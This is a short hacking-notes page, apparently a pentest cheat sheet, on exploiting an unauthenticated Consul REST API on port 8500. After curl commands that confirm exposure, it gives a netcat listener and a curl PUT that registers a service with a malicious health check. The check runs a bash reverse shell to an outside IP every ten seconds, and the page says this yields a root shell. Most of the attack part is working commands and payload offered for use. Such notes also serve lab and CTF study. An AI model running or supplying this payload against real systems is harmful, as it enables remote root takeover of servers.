> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/consul-8500.md).
# Consul - 8500
Consul REST API exposure and malicious service check registration for reverse shell execution.
### Discovery of Port 8500 (Consul)
Port **8500** exposes the Consul web interface.
After querying `127.0.0.1:8500/ui/`, Consul version **1.19.2** is found.
```bash
curl 127.0.0.1:8500/ui/
```
#### Verifying Access to the REST API
Test whether Consul's REST API is accessible without authentication:
```bash
curl http://127.0.0.1:8500/v1/agent/self
```
The response confirms that the API is exposed.
### Exploitation via a Malicious Check
{% embed url="" %}
Register a service with a malicious check that runs a bash reverse shell:
```bash
nc -lvnp 4444
```
#### Registering a service with a malicious check
Consul allows dynamic service registration through HTTP requests. Abuse this behavior to create a check that executes a bash command.
```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
"Name": "pwned",
"ID": "pwned",
"Check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
"Interval": "10s"
}
}'
```
Payload behavior:
* `Check.Args[]`: contains a bash command that opens a **reverse shell**.
* `Interval`: sets an automatic execution every 10 seconds.
Running this payload returns a root shell.
---
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